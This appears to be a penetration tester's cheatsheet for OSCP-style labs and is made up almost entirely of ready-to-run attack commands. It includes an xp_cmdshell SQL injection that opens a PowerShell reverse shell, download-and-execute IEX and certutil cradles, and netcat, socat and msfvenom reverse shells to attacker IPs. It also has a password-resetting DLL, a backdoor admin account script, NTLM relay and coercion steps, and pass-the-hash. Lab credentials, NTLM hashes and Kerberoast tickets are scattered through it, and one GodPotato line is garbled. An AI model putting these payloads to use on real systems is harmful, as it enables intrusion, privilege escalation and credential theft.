Cheatsheet

Nmap

Remember!

- For each new password attempt against all users
- Same goes for hashes
- Always check for internal facing services once on a new host
- Always try to login with:
  - admin:admin
  - username:username
    - play with capitalization as well
  - default creds
- Use ports 443 or 53 for reverse shells
- Try winrm for accounts as well as smb
- Try base64 encoding payloads for reverse connections
- Check folders for odd files
  - C:\
  - /opt
  - /tmp
- Check history and powershell history
  - `%APPDATA%\Microsoft\Windows\PowerShell\PSReadLine`
- Look for CVE-2024-1086 on Linux boxes

Nmap

```
# Find live hosts
sudo nmap -sS <range> --open -Pn -oG scan1.nmap -T4

# Version Scan (or specify ports for quicker turnaround)
sudo nmap -sVC <host> --open -Pn -p- -T4

# or Nmap script
```

bg->fg

```
ctrl+z
# list backgrounded processes
bg
# list jobs
jobs
# foreground job
fg %<id>
```

Ligolo-ng

Kali

```
# Create Interface for Ligolo
sudo ip tuntap add user <username> mode tun ligolo

# Bring Interface Up
sudo ip link set ligolo up

# Start Ligolo Proxy on Kali Host
./proxy -selfcert

# --------------- Post Connection Back
session
[Enter]

# List interfaces on victim
ipconfig

# Create ip route
sudo ip route add 172.16.184.0/24 dev ligolo

# Start the tunnel
start
#

## Victim
.\agent.exe -connect <attacker_ip>:11601 -ignore-cert
```

Victim

NTLM Relay X and Responder

```
# stop http and smb serving on responder
sudo nano /usr/share/responder/Responder.conf
smb = Off
http = Off

# Stand up responder
responder -I eth0 -wPF

# Find all  hosts without smb signing
crackmapexec smb live-smb-hosts.txt --gen-relay-list no-signing.txt

# if remote (HARPI)
# Run ntlmrelayx
ntlmrelayx -tf no-signing.txt -smb2support -socks

# Set up port forward on local host
ssh -L 127.0.0.1:9050:127.0.0.1:1080 -p <harpi port> testing@127.0.0.1

# if local
# Run ntlmrelayx
ntlmrelayx -tf no-signing.txt -smb2support -socks -socks-port 1080

# Set up port forward on local host
ssh -L 127.0.0.1:9050:127.0.0.1:1080 kali@127.0.0.1

# Use proxychains to access and enumerate shares
proxychains -q crackmapexec smb <ip> -u 'username' -p 'random-value' -d
'<domain>' --shares

proxychains -q smbclient -U '>domain>/<username>%random-value' \\\\<ip>\\
<share>
```

XP Cmdshell

```
' EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure
'xp_cmdshell', 1;RECONFIGURE;-- -
```

```
-- Reverse Shell
test' EXEC xp_cmdshell 'powershell -c "$client = New-Object
System.Net.Sockets.TCPClient(''192.168.45.190'',4444);$stream =
$client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i =
$stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1
| Out-String );$sendback2 = $sendback + ''PS '' + (pwd).Path + ''>
'';$sendbyte =
([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendb
yte.Length);$stream.Flush()};$client.Close()"'-- -
```

```
-- Download and Execute Payload in memory
' EXEC xp_cmdshell 'powershell.exe -exec bypass IEX(New-Object
System.Net.WebClient).DownloadString(''http://192.168.45.203:80/rev.ps1'')'--
-
```

C:\windows\system32\inetsrv

Upgrade TTY

Python

```
python3 -c 'import pty; pty.spawn("/bin/bash")' && export TERM=xterm;
stty raw -echo;fg && export TERM=xterm;
```

Stty

```
# In reverse shell
$ python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z

# In Kali
$ stty raw -echo
$ fg

# In reverse shell
$ reset
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows <num> columns <cols>
```

Socat

```
#Listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444
```

```
#Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
```

Data Exfiltration

```
certutil -urlcache -f http://10.10.10.10:80/payload.ps1 payload.ps1

iwr -uri http://10.10.10.10:80/payload.ps1 -OutFile payload.ps1

powershell "IEX(New-Object
Net.WebClient).downloadFile('http://10.10.10.10/nc64.exe',
'C:\Users\Public\nc64.exe')" -bypass executionpolicy
```

Enumeration

Windows.

```
.\GodPotato.exe -cmd "cmd /c net user Administrator Password123"
```

```


# all groups
net localgroup

# my groups
whoami /groups

# privs
whoami /privs
```

Escalation

ALWAYS CHECK LOCAL LISTENERS FOR NEW SERVICES

Windows

```
# Define the new user's details
$username = "ar1ste1a"
$fullname = "Aristeia"
$description = "Description of the user"
```

```
$password = "password123"

# Create the new user
New-LocalUser -Name $username -Password $password -FullName $fullname -Description $description -PasswordNeverExpires $true

# Add the user to the Administrators group
Add-LocalGroupMember -Group "Administrators" -Member $username

# Confirm the user was added to the Administrators group
Get-LocalGroupMember -Group "Administrators"

# Find files
powershell
Get-ChildItem -Path C:\ -Include *.txt,*.ini,*.log -File -Recurse -ErrorAction SilentlyContinue

# Search for keywords
# cmd
findstr "keyword" filename
# powershell
Select-String -Pattern "keyword" -Path filename

# enumerate environment variabl3s
dir env:
```

Privesc by process injection

```
#include <stdlib.h>
#include <windows.h>
BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
 switch ( ul_reason_for_call )
 {
 case DLL_PROCESS_ATTACH: // A process is loading the DLL.
 int i;
 i = system ("net user administrator Password1");
 break;
 case DLL_THREAD_ATTACH: // A process is creating a new thread.
 break;
 case DLL_THREAD_DETACH: // A thread exits normally.
 break;
 case DLL_PROCESS_DETACH: // A process unloads the DLL.
 break;
 }
 return TRUE;
}
```

To compile

```
x86_64-w64-mingw32-gcc beyondhelper.cpp --shared -o beyondhelper.dll
```

Linux

```

# Enumeration Tools
wget "https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh" -O lse.sh
curl "https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh" -o lse.sh
./lse.sh -l1 # shows interesting information that should help you to privesc
./lse.sh -l2 # dump all the information it gathers about the system

# manual enumeration
# List version
lsb_release -a
uname -a
uname -r

# get sudo version
sudo -v

# Check current sudo privileges (requires password)
sudo -l

# List cronjobs
## For user
crontab -l

## For system
cat /etc/crontab

# execute in memory
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
```

```
# SUID files owned by root
find / -uid 0 -perm -4000 -type f 2>/dev/null

# find version
/usr/bin/screen -v

# check if in path
echo $PATH
```

GodPotato

```
PS C:\Users\Public> .\GodPotato.exe -cmd "cmd /c net user Administrator Password123"curl https://raw.githubusercontent.com/ysanatomic/CVE-2022-32250-LPE/main/exploit.c >
[*] CombaseModule: 0x140714549444608
[*] DispatchTable: 0x140714552031560
[*] UseProtseqFunction: 0x140714551326272
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] CreateNamedPipe \\.\pipe\aadd192f-75c1-47fe-9fe6-9c9e7c63b4ca\pipe\epmapper
[*] Trigger RPCSS
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 00004002-0c3c-ffff-58e0-036581c3209d
[*] DCOM obj OXID: 0x1c5bfcc109d9ed23
[*] DCOM obj OID: 0x4a0fb3166b35a7d4
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 912 Token:0x596  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 4396
The command completed successfully.

PS C:\Users\Public>
```

Shells

- Not So Simple PHP Command Shell
- PHP Reverse Shell
- PHP Web Shell
- p0wny PHP Shell

Netcat reverse shells

Windows

```
nc.exe 192.168.100.113 4444 -e cmd.exe

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.170 LPORT=443 -f
exe -o shell.exe
```

Linux

```
nc 192.168.45.170 4444 -e /bin/bash
```

```
$client = New-Object
System.Net.Sockets.TCPClient("192.168.45.170",4444);$stream =
$client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i =
$stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1
| Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte =
([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendb
yte.Length);$stream.Flush()};$client.Close()
```

In Memory

```
powershell -c "IEX(New-Object
System.Net.WebClient).DownloadString('http://10.0.2.4:443/rev.ps1')"

IEX (New-Object
Net.WebClient).DownloadString('http://192.168.45.170:8000/PrivescCheck.ps1');
Invoke-PrivescCheck
```

Tools

CME

```
crackmapexec smb 172.16.227.82 -d medtech.com -u yoshi -p 'Mushroom!' --lsassyc
crackmapexec smb 172.16.227.82 -d medtech.com -u yoshi -p 'Mushroom!' --lsa
crackmapexec smb 172.16.227.10 -u 'leon' -p 'rabbit:)' --sam
crackmapexec internal.hosts -u mario -H 8909f22bda647d382e7b448bea350175c
rackmapexec smb --local-auth 172.16.184.0/24 -u Administrator -H 58a478135a93ac3bf058a5ea0e8fdb71 | grep +

# Proxychains
proxychains crackmapexec smb 172.16.0.56 -u 'KCHILDER' -p 'random-value' -d 'INFOTONICS' --shares

# Shells
crackmapexec smb 192.168.174.248 -u zachary -H 54abdf854d8c0653b1be3458454e4a3b -x whoami --exec-method smbexec

crackmapexec smb 192.168.174.248 -u zachary -H 54abdf854d8c0653b1be3458454e4a3b -x whoami --exec-method atexec

crackmapexec smb 192.168.174.248 -u zachary -H 54abdf854d8c0653b1be3458454e4a3b -x whoami --exec-method wmiexec

# winrm
nxc winrm internal.hosts -u celia.almeda -p '7k8XHk3dMtmpnC7' -d oscp.exam

# mssql
```

Impacket

```
# pth
impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:58a478135a93ac3bf058a5ea0e8fdb71 Administrator@192.168.184.121

# credentialed
impacket-psexec medtech/joe:Flowers1@172.16.184.11

impacket-secretsdump Administrator:Password123@192.168.221.247
impacket-secretsdump -dc-ip 172.16.227.10 -hashes aad3b435b51404eeaad3b435b51404ee:cb79cde42dee80b85e7cad42ddaf9c60 'medtech.com/DC01$'@172.16.227.10
```

```
# mssql
➜  A impacket-mssqlclient oscp.exam/web_svc:Diamond1@10.10.163.142 -windows-auth
```

PTH

- [Pass the hash tools]([Alternative ways to Pass the Hash (PtH) – n00py Blog])

```
xfreerdp /v:192.168.174.248 /u:zachary /pth:54abdf854d8c0653b1be3458454e4a3b /cert-ignore

smbclient -U 'zachary%54abdf854d8c0653b1be3458454e4a3b' --pw-nt-hash \\\\192.168.174.248\\transfer

rpcclient -U 'zachary%54abdf854d8c0653b1be3458454e4a3b' --pw-nt-hash 192.168.174.248
```

RDP

```
xfreerdp /v:192.168.203.250 /u:offsec /p:lab /cert-ignore

remmina rdp://danielfrancis@10.1.10.34
```

Password Sprays

```
# mssql
nxc mssql external.relia.com -u users -p passwords --port 49965
nxc mssql external.relia.com -u 'emma' -p 'SomersetVinyl1!' --port 49965

# Append --no-bruteforce to prevent account lockouts

# smb
nxc smb external.relia-com -u users -p passwords
```

Kerberoasting

```
impacket-GetUserSPNs -dc-ip 10.10.163.140 OSCP.EXAM/celia.almeda -request
```

AsRepRoasting

```
impacket-GetNPUsers -dc-ip 10.10.163.140 -request -outputfile oscp.asrep
oscp.exam/celia.almeda
```

Kerberoasting without preauth

```
GetUserSPNs.py -no-preauth jjones -usersfile users -dc-ip 10.129.229.114
rebound.htb/
Impacket v0.13.0.dev0+20240916.171021.65b774d - Copyright Fortra, LLC and its
affiliated companies

[-] Principal: Administrator - Kerberos SessionError:
KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: Guest - Kerberos SessionError:
KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
$krb5tgs$18$krbtgt$REBOUND.HTB$*krbtgt*$7f842653195c8deea982f74b$c9ae5f9929862
d01081388d06a6551b94c22c728fb7fbb097d4714fd3931112b0d437ba63434acd587b621e3eb3
a931831189a14fd56a340840dd419e0aa38edade758423499943f3ab9a431ebb1c4d4753f7b71e
1dc4295bbbf3154eaae3dbee19e5a887c163948015782532e2d4b2362d2e26c3b146a1e76e95fa
055ff9f678290210ca7478a43c38a419a19845107e5ec36a44817e45f56a99db85672ebc8869c1
55da706fd35e4b1ce3799188546ef7ff80ad8862f637a96db6a60346a97654b2562083842df6e7
bda5456bd75af1217bad517e6c4d76fb454774dfc37ec065816357b6c5a492a98baf41c504b58b
135cf6b290821a27375e249defbdabe2c09f18515e11a9ef4f26197a3e8468ed8127aa685bef2c
3604d12725f39226badfe11ce6913bcea4a8d0a0270e8e6cba0542c6e3e8f967d046aad06669fc
486df92e8f4d1c0d5e05a991531a5fb19a8c8f6c1f293efc89c4958c09d99062b898648673004
856d231a17ca06c90750ac1ef8b95c4b6b1341b6a9053a1628719ed62f2aa54cb56076f877f8dd
4980646cbfc210037268b7e680a9f4b06f3cd1622be69e84cb679652ba3205cf54c0a86d306cdc
445e69e7768d47652d5080bff58dbb2cbd5111c332575840241b4f4ea46c72f99ba8708a3f29f2
c9526dfb88a040a865636c8794ea18e81814cf690d0b45204ee037308442933407dc1bce3eba46
f29d2a3f8d4424b33376716ad63ed2d413f1efaacb0732135b48863a9c9593126b5e4654a6a62c
2bf0a19a356b146faf91f46c064cefcb7ca23ff0da0d69ba2a7441575813103b706e3f9b84329e
b8bfc1b1b3794ac96d6ab8f69dedafae348b0e0edcf335549abb8f44509977e8ca5035dfdcaffc
da2acd9c662d5e020dbfb409116841741339870bf5177912f19cf90c7a8fa518dee544fed1573b
9adbaaf1c1d667149a0694d5010ef33e143f1fa8b14a42937598af18ae665b18fd270810fd6471
e18726efbe1699e9b97d6486bcf588bbbc086b633e4b10ff6af53adc7bca9a2e51f9f25353ebb7
dc1f7f182558b591addf7f148541c19c59d5afe03c431cbd7801b8f05ce82f345d81352beb62c5
30f6000ab131ede627d7ce347820c5cbf74484a562340bbc14808f77542e16c49a7e7066796bf1
973f30744d26a00bed4c163a57e56c3aa11479273693effacd74bd6f50922ef7dead78acf96d45
8cc314ba3c60d3316180f52350f826f350594e80ec54b552edb53d78ff58ae499f984af3454f84
1a5bf6dc9d236fa9cb063a11502b24398b3bb4af84ffb02db12b88e6721d6ef20e2d4ab5b19824
3b3021ca89f3535d491dab8be55f03f5a510a2b6fc05d8e90920246b45fedec3dd7d5691d29a53
867fa63f92067d2630d6675eb7c2a2ba5af49909ce61944e27d616e0986eacf3498fbe8ce938db
3e3cff084b6ab0cd2e60f89b13c007701a8944d26fc
$krb5tgs$18$DC01$$REBOUND.HTB$*DC01$*$d15d925114d016f8b8c2ec54$51779ab836aa283
07ca22d64bb6097b286f32ee4a7c3999ad13217bf00b5c772475b2d7595b73022d55537c2276f5
```

```
90db4c4f3c65b7836a70e205d20271f36640e34d770641210de71a0edec45764403e173be9d8a2
3bfbbdb3433bcbaaf739fa3a1bdd25b838caa83008b860ede870ff95ad4f581c6ad69528e965f8
a699dda2e66cf129ef2fd87ae793f60bb4a046ac1adaae01a05e975d0ab053cc5230093388ab6b
cb80d7283d42cbc071f6826c736e96b7442f17d1e709516fd018add013b2578c8b3474596e38d9
1d2540ac2f5468f0c3de7f1b5f02aae2f7a7d22b5f0c560a3766ef208b4593284fa5687c4f344e
7bf9185669d8eb2b409bc6e4015203eb08ecdb00d5c1939b15a4a4298b7d1090ca614fe458a0be
e1a5a77078e971107c8c3ecbfafcce5987d448047e7ade15b324fa1e36d199dcd50c4a43f2adf6
bbba605a507c7680c21304413624918bb811b2a53348923986 4e43525529a90de8ad17443dc592
d0a8f9edaffc9120108466 2875bdb5886cd9ccf582429cf67192d7cbd2b10f98100da7632afd80
940b01affb9b1746c1edb4027cde63799b2ad303c8e3a4b8950d20e0ebcc098f8be7934c77c357
408a09bf58a49e29f874f2b6ea947d95508bb1340252c0f8d27a95be8bdd26a5495a7c0b8be63c
641fdeb20b7e27b1dd3114300d62b8acd500ea99aff978addd0e8f4a95b06a026893efdb4aeea9
264c320bcc55bc469278fd6c08516b1c6ddf6ff8f606abf0914f13b129fbc01f4e4aaebeeebbb8
389a0031db6fadaaa5761da28c6d9ccfbac252a2a1ed38852a67fa88976ae8b182fb26f5b8f8fa
0bd7543d094d620ba82b620c67a3170417a9052d92a5d7927135cb0c7190db55206676e519a9bd
bc534e097825b8b072e71773d2b687fee103504bca6eeca2027edf60eb41d2fb08fc971da0d32a
f534c790478faa275907551f99330d072bd07dbc1c112b9f98040cc1464d36ae50020a2e05e0b5
e57e23ef494efabfafb83b664bbfe61a3a2be903ec5650eab8d12b938d582a4136186ca0a3b19f
1e71aa1a88f583a73f606c9f00b28d8264990810ef2672e266096e4cf72e7469f7460e1cc11757
e340b6c0989e92a8647615e444f3875c645ed831e1d2b1b7db12cae629610fa6ee42b7732787e6
71441f60798e0738903d8ecd73eac89311242453fac70afb788e5c52bf441d95bd5756a41feee8
7d85202d5a1c650425005c31e3fc940c1a6bd10bb9f49163940ef91e679ee9b3dad5ded1d84954
65ffd55e82e05e764ecd32284dbdaaed29b370c777723f3c653ede880760cf476c48016ec3daf1
d70ed35566550767bd46d1a572a0236cd249ad4950c85c93ca0e8
[-] Principal: ppaul - Kerberos SessionError:
KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: llune - Kerberos SessionError:
KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: fflock - Kerberos SessionError:
KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: jjones - Kerberos SessionError:
KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: mmalone - Kerberos SessionError:
KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: nnoon - Kerberos SessionError:
KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
$krb5tgs$23$*ldap_monitor$REBOUND.HTB$ldap_monitor*$5196746826a031695800578108
7ee3fc$5fa178718422b58e2d1737c726c484e773437bce68c65c7a60efaa0858d1c3a97a35e84
8a9e6f2537372eb2aa4b9e022676096977e2e96a3db37de7ca9a533129821f31d1f15b8e2f158a
401930e8006ed1e102502f2eb587c8eff4f74d11f627704d71b1e65d53bd4046c00a988b4587ad
ffd24c51f76876eb14f840b7667ffba1d4e048fa26bafe49fbbad45ac84f3bdfa1e6cc8945e857
fd46a0c5955a0c9c6b8dd71fe47032a1af8035468056678b5908645675c4603cfae9dab7d2f6b7
299b01a4e738a8a0115ce5bc4c615d6f8eb926d599f0eb4ef0357b496f6168cde84fea8e6745b8
0308c99f155c1d7ee3e222205a4ce98a943ff2d340eaecf791e884fc1da443e5e2393c3155e7aa
76a725068a364725acce00b5d22314878d5e52afea11c3f06336123aec149e90313bbca789e617
7aa3ff6f3858bc2839f5d189b90de61fc4c450a9c7ad03a88f5c5c3ccd7bf74a73ce011a7db92a
```

```
aea3c78a8ccd70c51cb2b8ce073b4dd1ed8bb529751ef080307fafd436026323 4cad395776f2db
8bd3988caad6d92f4c8b069020c308ec171733195fc33f264a4eec0a3a16e4c93e81d3841afa81
74fc10042d7045f2b16d73f679c724077a3d00ae067f75ca83d163cf4a02a5662dab9ba4a081cc
68c944865606a223492de251b6c6c9d3fdab15f8784f55f4e20219334c735f27f553c0ea5a13e3
247259cffe319883a7b35cd5a2f68454a8eecaf12c8be810f40c1856f1e2fb0cb22a1eb6b2c0a8
570aa72a7ca1b0b3b5551673653fdced2d0a56846cbdcdc67c46ed5b790ef487d9f72be7a6b72f
1c6881b20c42d7bad5cf0d1a50592a6f61af9435b0bd1a3121dff346d66184022 2124be7fbd9ec
5e1d3c2c80c8459514fcb7419de8bbaf90f1613aad21edc9d593ae725cce065a77c2b3d42fc90e
165f20c2a7c109f13835f4122a141153c9f81efdec40175a35500eb1418fa010b91450ef04d709
2816174b98ebfdcff22af6d15641f9193b32cbc44c5891648ca3fabdfa96b78983a5af9cd9605b
ab4d34fd2168a48e3abecbe0241b12e1a1db6050dc0555b1a81f80ea7d502e2afb68a274b10087
caf3502973c6ab6bc05fb1e1160536c3f74bf387929374330c2d508761193e34e5547014ab92b3
bc6137572f1327004fa723b66d30197539b2d65995d7a8cdfacef36211ba75137fa5bf6cb95a94
452be03ee8e2f0872209d0139a52abca8d865cf10498c8145fd9a4e65cc17877515d203a78f47b
a8188230c1ee36a88751c28439d127ff0f1d8e8f332f4d3e6b9eba9051bb0c43deda3a0fdeab1e
1e61f8d169068b95728376593532272 54379c1532f01948195e77e24ebe
[-] Principal: oorend - Kerberos SessionError:
KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: winrm_svc - Kerberos SessionError:
KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: batch_runner - Kerberos SessionError:
KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: tbrady - Kerberos SessionError:
KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
$krb5tgs$18$delegator$$REBOUND.HTB$*delegator$*$69572cc33db6ce813256fd4a$76a21
c71e3b953e5a90d6fd893d5b696d5c68eb3f5f12641c184d87051b9c7bf2f108bb4a09b6329fde
c4adb2ee4c7ad0124dd592c76bf8473ceec519f45cb352cda43596345 47ca0b2c5d45ebbe0f257
2710ada9441bf360981d76f76a8f1af1397e79d96185ab914eb819313e831bbf6192725210b9e1
61f414a92361a608a1f11dd90f7cb21ae89926a331aa48e20cb4f22895f3772a951e42f943e81a
9555bdd46d3a3d1d131d7b1769a45e9778c5b386af63d9ab52bb39b1ce65f2eaa9f5d357cfc7df
9135f986d28e688eabf3602f15ffee3eaa32f6c51792a6c0ff07cad72b90c95c22e62b4d59e153
740d2ea5189e589b4bbd6d030017917a4facfe1888a41070d949d5ee5c70092782aea0d5273846
6a55eaa4d83c00817f736da212003da78dc8269991292b40809575986f243eade97d61da798654
c96d6e1594503a7ff40402fdf2c50226eb32adf0f6563b6e2d6c880e226936c2223c79b5234ac4
bf46f3b068c42f392bd0ee180d893a090f6dcd39a3cb2bcf88fa2e0fc79393c0926f8680d70f78
fa311ab9b51716ada6d2c3fde66382ea2e458df0cf3207590493e3650b60ae8bf780786ce860b1
0bd74de94e11e8d1b4d76bc099f1a614390994a4f97dcfff27c9640eb3b0b7ce22c5d614e0676f
209cfe35fbae50dd8b12b05915b6c7c47dbd8f2de358acfc047122e05b1934d2f23dd7ddf55ed0
d4e8478ff686850f7d219e7c8f839b18681fa67a49ba4c19ae523f30165e7b49fcc8f2303695c0
b2814d6d6a7ab302e54eea015e942561b8bb921cb31d77ac56912269a76570d9d4843a67852987
1b978feaf277c4c032acf57c2ed9a70262d328a6f8a555516f95c21adfc742078079bc0c64d79a
03aa5e9d5f10ad288952e4359e214c130fc656eb8cf27040de7c22868e536684df054de6d18d59
0b4232c0ff99cfddba35160a6e30796dce69b06b71db4234ea7bfadd7cc9f73936f750aeddc843
3fc73881207dde7dc8b10a8fbbd68f66d41c2d8de973ff2781e7f22876ced136c65e0f3073c7c3
4d733f1129397f4a7e0b5642e140ae2b475cfdcce73d4fc8e1c72dd1d8f0af3d07851aa3ccbab0
4024d76f0ef57232a29a07ea27c814ac777caa33b546c060a54a132a911b9a7ba3f226cee1cd3a
```

```
512ca9403fb89e6aa317084b744ee28af8da5801fb418ad1225978653c7a89dc276e467fa01842
9ef6d754e81843612428379360627ec07e7ddbbdc1f4dda8fe6d0e4e564f651d3c6004f1b7f2cc
a904b517ba7898e5ad09e4e7b88322afbc50ff6dfce6eb9bec4ebb2867e80a1a4324a006b5a526
b5cc1066823808da51acb925f3b75314c06a9d6c25fb1c784fc47a47f587dad
```

EvilWinRM

```
evil-winrm -u celia.almeda -p '7k8XHk3dMtmpnC7' -i 10.10.163.142

upload <filename>
download <filename>
```

Secrets Dump with Hives

```
secretsdump.py -sam SAM -system SYSTEM LOCAL
```

DLL Hijacking

Discover service

```
windows-hardening/windows-local-privilege-escalation#services
    LOOKS LIKE YOU CAN MODIFY OR START/STOP SOME SERVICE/s:
    GPGOrchestrator: AllAccess

 GPGOrchestrator(Genomedics srl - GPG Orchestrator)["C:\Program Files\MilleGPG5\GPGService.exe"] - Auto - Running
    YOU CAN MODIFY THIS SERVICE: AllAccess
    File Permissions: Users [WriteData/CreateFiles]
    Possible DLL Hijacking in binary folder: C:\Program Files\MilleGPG5 (Users [WriteData/CreateFiles])
```

Craft payload

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.170 LPORT=443 -f exe -o GPGService.exe
```

LDAP Search

```
ldapsearch -x -H ldap://<dc-ip> -b 'dc=<domain>,dc=<tld>' > ldapsearch.txt

# Look for default passwords

# Usernames
cat ldapsearch.txt | grep userPrincipalName | cut -d$':' -f 2 | cut -d$'@' -f 1
```

Check for dfscoercion

```
nxc smb <host> -u '<username>' -p '<password>' -M dfscoerce
```

NTLMRelayX ADCS ESC8 Relay

```
impacket-ntlmrelayx -t 'http://<ca.hostname.tld>/certsrv/certfnsh.asp' -smb2support --adcs --template DomainController --no-http-server --no-wcf-server --no-raw-server
```

Relay

```
# PetitPotam
python3 PetitPotam.py -u '<username>' -p '<password>' -dc-ip <dc.ip> <listener.ip> <target.ip>

# DFSCoerce
python3 dfscoerce.py -u '<username>' -p '<password>' <listener.ip> <target.ip>
```

Links

- Pass The Hash
- Linux Privesc
- Windows Privesc
- Windows Privesc Check
- WsgiDav